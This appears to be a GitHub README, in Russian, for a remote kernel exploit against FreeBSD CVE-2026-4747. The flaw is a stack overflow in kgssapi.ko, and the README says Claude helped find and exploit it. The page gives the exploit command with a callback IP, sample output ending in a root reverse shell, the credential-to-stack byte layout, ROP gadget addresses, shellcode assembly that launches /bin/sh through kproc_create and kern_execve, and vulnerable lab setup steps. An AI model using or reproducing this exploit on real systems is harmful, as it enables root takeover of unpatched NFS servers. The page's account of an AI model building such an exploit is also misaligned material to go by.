kaleth4/cve-2026-4747-Удалённый эксплойт ядра для FreeBSD CVE-2026-4747, использующий переполнение буфера в стеке в kgssapi.ko для достижения RCE с обратной оболочкой. Включает многоэтапную доставку ROP и подробные инструкции по настройке.
Первый удаленный эксплойт ядра, который был и обнаружен, и использован ИИ
| Аспект | Деталь |
|---|---|
| CVE | CVE-2026-4747 |
| Уязвимость | Переполнение буфера в стеке в kgssapi.ko (RPCSEC_GSS) |
| Воздействие | Удаленное выполнение кода в ядре → reverse shell с uid 0 |
| Затронутые версии | FreeBSD 13.5, 14.3, 14.4, 15.0 (версии без патча) |
| Обнаружено | Николас Карлини с помощью Claude (Anthropic) |
| Дата Advisory | 2026-03-26 |
| Время эксплуатации | ~8 часов (4 часа реальной работы Claude) |
python3 exploit.py -t 127.0.0.1 --ip 10.0.2.2 --port 4444
Вывод:
==============================================================
CVE-2026-4747: FreeBSD RPCSEC_GSS Remote Kernel RCE
Stack overflow → ROP → shellcode → uid 0 reverse shell
==============================================================
Target: 127.0.0.1:2049
Callback: 10.0.2.2:4444
SPN: nfs/[email protected]
Shellcode: 432 bytes (54 qwords)
Delivery: 15 rounds (1 pmap + 14 write)
[R1/15] pmap_change_prot(BSS, 0x2000, RWX) ✓
[R2/15] write (4 qwords → 0xffffffff8198a800) ✓
[R3/15] write (4 qwords → 0xffffffff8198a820) ✓
...
[R15/15] write + EXECUTE (2 qwords) → JUMP 0xffffffff8198a800 ✓
[*] Shellcode delivered and executing
[*] kproc_create → kern_execve('/bin/sh -c ...')
[*] Reverse shell → 10.0.2.2:4444
[+] Connection from 127.0.0.1:41320
[+] Got shell!
sh: can't access tty; job control turned off
# id
uid=0(root) gid=0(wheel) groups=0(wheel)
Claude решил 6 различных технических проблем, чтобы перейти от advisory к рабочему reverse shell:
pmap_change_prot() → BSS становится исполняемымkthread_exit() для чистого завершения (без kernel panic)kproc_create() → новый процесс с user-mode инфраструктуройkern_execve("/bin/sh") → загрузка ELF, настройка trapframe, снятие флага P_KPROC/bin/sh выполняется в ring 3 как uid 0trap 1 (debug exception) на валидной инструкцииkproc_create() наследует debug registers от родителяkproc_create()Credential body byte → Stack target
[0..35] → GSS header (version, proc, seq, svc, handle)
[36..151] → Padding (rpchdr remainder + local vars)
[152..199] → Saved registers (RBX, R12, R13, R14, R15, RBP)
[200..207] → RETURN ADDRESS ← Первый ROP-гаджет
[208..399] → ROP chain (192 bytes = 24 qwords)
| Гаджет | Адрес | Назначение |
|---|---|---|
pop rdi; ret | K+0x1adcda | Аргумент 1 (rdi) |
pop rsi; ret | K+0x1cdf98 | Аргумент 2 (rsi) |
pop rdx; ret | K+0x5fa429 | Аргумент 3 (rdx) |
pop rax; ret | K+0x400cb4 | Значение для записи |
mov [rdi], rax; ret | 0xffffffff80e3457c | Произвольная запись 8 байт |
Где K = 0xffffffff80200000 (база ядра, без KASLR в FreeBSD 14.x)
Фаза 1 — Entry (перехваченный NFS-поток):
mov rax, 0xffffffff8198bf00 ; Переключение стека на BSS
mov rsp, rax
xor eax, eax
mov dr7, rax ; Очистка аппаратных брейкпоинтов
call rbx ; kproc_create (предзагружен в RBX)
mov rax, kthread_exit
call rax ; Чистое завершение потока
Фаза 2 — Worker (новый процесс ядра):
; Настройка аргументов для kern_execve
lea rdi, [rbp - 0x80] ; &image_args
mov rsi, "/bin/sh"
mov edx, 1 ; UIO_SYSSPACE
call exec_args_add_fname
; Добавление "-c" и команды reverse shell
; ...
; Выполнение /bin/sh
mov rdi, gs:[0] ; curthread
mov rax, [rdi + 0x08] ; proc
call kern_execve
; Снятие флага P_KPROC
and byte [rax + 0xb8], 0xfb ; Разрешение перехода в userland
ret ; → fork_exit → userret → iretq → ring 3
# Скачивание образа
wget https://download.freebsd.org/releases/VM-IMAGES/14.4-RELEASE/amd64/Latest/\
FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
xz -d FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2.xz
qemu-img resize FreeBSD-14.4-RELEASE-amd64-BASIC-CLOUDINIT-ufs.qcow2 8G
# Конфигурация cloud-init
cat > user-data << 'EOF'
#cloud-config
chpasswd:
list: |
root:freebsd
expire: False
runcmd:
- kldload kgssapi
- sysrc rpcbind_enable=YES nfs_server_enable=YES
- service rpcbind start && service nfsd start
EOF
# Загрузка с пробросом портов
qemu-system-x86_64 -enable-kvm -m 2G -smp 2 \
-drive file=freebsd-vuln.qcow2,format=qcow2,if=virtio \
-netdev user,id=net0,hostfwd=tcp::2222-:22,hostfwd=tcp::2049-:2049,hostfwd=tcp::8888-:88 \
-device virtio-net-pci,netdev=net0 -nographic
Требования:
Настройка в VM:
# 1. Установка Kerberos
pkg install -y krb5
# 2. Создание KDC
cat > /etc/krb5.conf << 'EOF'
[libdefaults]
default_realm = TEST.LOCAL
[realms]
TEST.LOCAL = {
kdc = 127.0.0.1
admin_server = 127.0.0.1
}
EOF
# 3. Инициализация базы данных KDC
/usr/local/sbin/kdb5_util create -s -P masterkey -r TEST.LOCAL
# 4. Создание principals (замените "test" на ваш hostname)
/usr/local/sbin/kadmin.local -q "addprinc -pw password [email protected]"
/usr/local/sbin/kadmin.local -q "addprinc -randkey nfs/[email protected]"
/usr/local/sbin/kadmin.local -q "ktadd -k /etc/krb5.keytab nfs/[email protected]"
# 5. Запуск KDC
/usr/local/sbin/krb5kdc
# 6. Настройка NFS
mkdir -p /export
echo '/export -network 0.0.0.0/0' > /etc/exports
# 7. Включение служб
sysrc rpcbind_enable=YES nfs_server_enable=YES gssd_enable=YES
service rpcbind start && service nfsd start
# 8. Проверка
sysctl vfs.nfsd.threads # Должно показывать 16 (с 2 CPU)
sockstat -l | grep 2049 # Должно показывать tcp4/tcp6
# 1. Установка пакетов
sudo apt install krb5-user libkrb5-dev python3-gssapi
pip install gssapi